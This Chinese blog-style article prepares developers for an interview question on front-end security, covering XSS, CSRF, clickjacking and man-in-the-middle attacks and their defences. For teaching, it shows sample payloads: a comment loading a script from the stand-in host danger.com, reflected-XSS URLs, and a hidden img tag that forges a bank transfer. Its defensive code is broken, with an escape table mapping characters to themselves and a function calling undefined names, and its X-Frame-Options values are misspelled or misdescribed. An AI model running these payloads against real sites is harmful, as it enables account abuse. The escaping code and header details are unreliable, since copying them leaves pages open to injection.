你在项目中做过哪些安全防范措施?
如果你被面试官问到这个问题,不要急于描述自己遇到的问题以及如何处理的,你得先去理解问题中的潜台词。“做过哪些措施”更深层的意思是“你熟悉哪些攻击方式,知道哪些解决方案?”当然,不可能把每次做的安全防范措施都一一的说给面试官听, 这样显得没有重点。
「做哪些安全防范」换个思维思考“有哪些攻击方式?”,那么我们就可以基于攻击方式的分类,来讨论究竟有哪些防范攻击的措施。
从而可以梳理出关于这个问题回答的思路:
XSS 攻击
按照之前说的思路,先讲概念,说用途
什么是XSS攻击
XSS即Cross Site Scripting
(跨站脚本攻击),指的是攻击者想尽一切办法将一些可执行的代码注入到网页中,利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。为了不和层叠样式表CSS混淆,故将其缩写为 XSS
XSS 可以分为:存储型 XSS (也叫持久型 XSS)、反射型 XSS (也叫非持久型)。
存储型
存储型也就是攻击的代码被服务端写入进数据库中,这种攻击危害性很大,因为如果网站访问量很大的话,就会导致大量正常访问页面的用户都受到攻击。
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行,从而获得了在网络上传播的能力。
反射型
反射型也叫非持久型,相比于前者危害就小一些,一般通过修改 URL 参数的方式加入攻击代码,诱导用户访问链接从而进行攻击。
这种常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
二者区别:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
举两个案例帮助更好的理解:当我们在做商品评论时,用户输入的内容未经过过滤直接保存到数据库中。
攻击者可以构建一条评论, 包含恶意内容:
质量非常不错!<script src="danger.com/spread.js"></script>
当你的评论列表被用户浏览时, 直接从服务端取出,回填到HTML响应中:
<li>质量非常不错!<script src="danger.com/spread.js"></script></li>
那么浏览器会加载执行恶意脚本danger.com/spread.js
, 在恶意脚本中利用用户的登录状态发更多的带有恶意评论的URL, 诱导更多人点击,层层传播,放大攻击范围。
这个案例就是一个典型的存储型XSS攻击。再来看一个反射型攻击案例:
某天小范开发了一个搜索页面,通过用户输入搜索内容,展示相应的数据:
http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>
http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>
http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>点我</a>
有时攻击者会伪造一个图片,让你点击后链接跳转URL。
对于这种攻击方式来说,如果用户使用的是Chrome 浏览器的话,浏览器已经帮助用户做了防御攻击。但是我们也不能说就不防御了,因为无法保证用户都是用有防御攻击的浏览器。
XSS攻击如何进行防范
我们讲了这么XSS的原理和危害,那么我们在日常开发当中到底该如何预防呢?
1.输入输出过滤
一切用户输入
皆不可信,在输出时进行验证,一般做法是将 ‘ ” < > & 这些个危险字符进行转义。
const signs = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}
const signReg = /[&<>"']/g
function escape(string) {
return (string && reUnescapedHtml.test(string))
? string.replace(reUnescapedHtml, (chr) =>htmlEscapes[chr])
: string
}
通过转义<script></script>
将被转义成<script></script>
;
对于URL地址的转义可以使用
encodeURI
,当你需要编码URL中的参数的时候,那么encodeURIComponent
是最好方法。
上面对字符进行转义的方式很明显并不适用于所有场景,比如富文本,这样会将需要的格式都过滤掉。因为HTML标签种类繁多,基于黑名单的过滤方法考虑的并不全面,所以我们可以根据白名单过滤HTML, 可以借助xss.js
来完成:
// 浏览器
<script src="https://raw.github.com/leizongmin/js-xss/master/dist/xss.js"></script>
使用:
filterXSS('<h1 id="title">XSS Demo</h1><script type="text/javascript">alert(/xss/);</script>
<p class="text-center">Whitelist</p>')
输出结果:
<h1>XSS Demo</h1><script type="text/javascript">alert(/xss/);</script>
<p>Whitelist</p>
如果后端直接将字符串存入数据库也是不妥的,后端也必须做处理,因为发送到后端的内容还可以通过其他方式, 前端处理并不能保障安全。
2. Cookie 的 HttpOnly
当用户的登录凭证存储于服务器的 session
中,而在浏览器中是以 cookie
的形式存储的。很多XSS攻击目标都是窃取用户cookie
伪造身份认证。
可以通过在 cookie
中设置 HttpOnly
属性,js脚本将无法读取到 cookie 信息。
ctx.cookies.set(name, value, {
httpOnly: true // 默认为 true
})
3. CSP(内容安全策略)
CSP (Content Security Policy,内容安全策略)是 W3C 提出的 ,本质上就是白名单制度,开发者明确告诉浏览器哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成,我们只需提供配置。
CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。
两种方法可以启用 CSP:
一种是通过 HTTP 头信息的 Content-Security-Policy
的字段另一种是通过网页的 <meta>
标签
方式1举例
Content-Security-Policy: default-src ‘self’
表示只允许加载本站资源
Content-Security-Policy: default-src https://demo.example.cn https://demo.example2.cn; object-src 'none'
CSP 的值中,不同属性以 ;
隔开,同一属性的多个值以空格隔开。上面例子的意思就是默认允许读取 https://demo.example.cn
和https://cdn.example2.net
的资源,object-src
使用的相关资源无白名单,也就是完全不允许读出。
如果使用了不符合要求的资源,浏览器会给予拦截,给出下面提示:
Refused to execute inline script because it violates the following Content Security Policy directive
我们也可以使用 meta
标签代替 HTTP 头:
<meta
http-equiv="Content-Security-Policy"
content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"
/>
Content-Security-Policy
的常用选项有这些:
default-src: 是 src 选项的默认值,但不能覆盖以下值: base-uri
、form-action
、frame-ancestors
、plugin-types
、report-uri
、sandbox
base-uri:特别说一下 <base>
标签是因为孤陋寡闻的我第一次见到。指定用于一个文档中包含的所有相对 URL 的根 URL,一个文件只能有一个<base>
标签,用起来大概是这样的:<base target="_top" href="http://www.example.com/">
。connect-src: XHR、WebSockets 等连接使用的地址 font-src:字体文件来源 img-src:图片地址 media-src:音视频地址 object-src:Flash 相关 report-uri:出现报错时提交到指定 uri,不能在 标签使用 style-src:样式文件
CSRF 攻击
除了上面说的XSS攻击外,还有一种常见的攻击方式:CSRF攻击。
什么是CSRF攻击
CSRF:跨站点请求伪造(Cross-Site Request Forgeries),也被称为 one-click attack 或者 session riding。冒充用户发起请求(在用户不知情的情况下), 完成一些违背用户意愿的事情(如修改用户信息,删除评论等)。
举个例子,好友小A在银行存有一笔钱,输入用户名密码登录银行账户后,发送请求给xiaofan
账户转888:
http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaonfan
转账过程中, 小A不小心打开了一个新页面,进入了黑客(xiaohei
)的网站,而黑客网站有如下html代码:
<html>
<!--其他内容-->
<img src=http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaohei width='0' height='0'>
<!--其他内容-->
</html>
这个模拟的img请求就会带上小A的session值, 成功的将888转到xiaohei的账户上。例子虽然是get,post请求提交表单同样会被攻击。
CSRF攻击的特点:
通常发生在第三方网站 攻击者不能获取cookie等信息,只是使用
如何防御
验证码:强制用户必须与应用进行交互,才能完成最终请求。此种方式能很好的遏制 CSRF,但是用户体验相对差。 尽量使用 post ,限制 get 使用;上一个例子可见,get 太容易被拿来做 CSRF 攻击,但是 post 也并不是万无一失,攻击者只需要构造一个form就可以。 Referer check:请求来源限制,此种方法成本最低,但是并不能保证 100% 有效,因为服务器并不是什么时候都能取到 Referer,而且低版本的浏览器存在伪造 Referer 的风险。 token:token 验证的 CSRF 防御机制是公认最合适的方案。
CSRF 与 XSS 区别
通常来说 CSRF 是由 XSS 实现的,CSRF 时常也被称为 XSRF(CSRF 实现的方式还可以是直接通过命令行发起请求等)。
本质上讲,XSS 是代码注入问题,CSRF 是 HTTP 问题。XSS 是内容没有过滤导致浏览器将攻击者的输入当代码执行。CSRF 则是因为浏览器在发送 HTTP 请求时候自动带上 cookie,而一般网站的 session 都存在 cookie里面。XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
点击劫持
点击劫持(click hijacking)也称为 UI 覆盖攻击。它通过一些内容(如游戏)误导被攻击者点击,虽然被攻击者点击的是他所看到的网页,但其实所点击的是另一个置于原网页上面的透明页面。
根据先点击劫持原理示意图,分析典型点击劫持攻击流程:
攻击者构建了一个非常有吸引力的网页 将被攻击的页面放置在当前页面的 iframe 中 使用样式将 iframe 叠加到非常有吸引力内容的上方 将iframe设置为100%透明 用户在不知情的情况下点击按钮,触发执行一些其他命令。
如何防御
点击劫持攻击需要首先将目标网站载入到恶意网站中,使用 iframe 载入网页是最有效的方法。
所以可以设置我们的网页不允许使用iframe被加载到其他网页中就可以避免这种情况了,我们可以通过在响应头中设置X-Frame-Options
(服务器端进行),X-Frame-Options
可以设置以下三个值:
DEBY
:不允许任何网页使用iframe加载我这个页面。SAMEORIGIN
:只允许在相同域名(也就是自己的网站)下使用iframe加载这个页面。ALLOWED-FROM origin
: 允许任何网页通过iframe加载我这个网页。
这种方式在一些老旧的浏览器上是不支持的,具体可以通过can i use
去查看
中间人攻击
中间人(Man-in-the-middle attack, MITM)是指攻击者和通讯的两端分别创建独立的联系,并交换其得到的数据,攻击者可以拦截通信双方的通话并插入新的内容。
一般的过程如下:
客户端发送请求到服务端,请求被中间⼈截获 服务器向客户端发送公钥 中间⼈截获公钥,保留在⾃⼰⼿上。然后⾃⼰⽣成⼀个【伪造的】公钥,发给客户端 客户端收到伪造的公钥后,⽣成加密hash值发给服务器 中间⼈获得加密hash值,⽤⾃⼰的私钥解密获得真秘钥,同时⽣成假的加密hash值,发给服务器 服务器⽤私钥解密获得假密钥,然后加密数据传输给客户端
如何防御
采用HTTPS通信可以防御中间人攻击, 但是使用HTTPS并不就绝对安全,一方面你要完全关闭HTTP通信,如果没有完全关闭,攻击者可以通过某些方式将HTTPS 降级为HTTP,从而实现中间人攻击。
其次使用HTTPS通信,开发时也不要忽视证书的校验,或者对于非法证书不进行处理,这样也容易被中间人攻击。这里给大家推荐文章 HTTPS中间人攻击实践(原理•实践)
为什么有些软件如Fiddler可以还原https报文?
Fiddler是通过中间代理的方式抓取报文,还原https报文的前提是在客户端的根证书列表下加入Fiddler生成的CA根证书。这样Fiddler就成为CA,可以伪造数字证书,伪装成服务器。但是只能用于测试,不能实现真正意义上的窃取数据。
总结
以上是我们平时开发过程中一些常见的前端安全方面的知识以及我们应该如何防御这些攻击。但是安全的领域相当大,这些内容只是沧海一粟,如果需要深入学习安全防御方面的知识,这是远远不够的。
参考文章: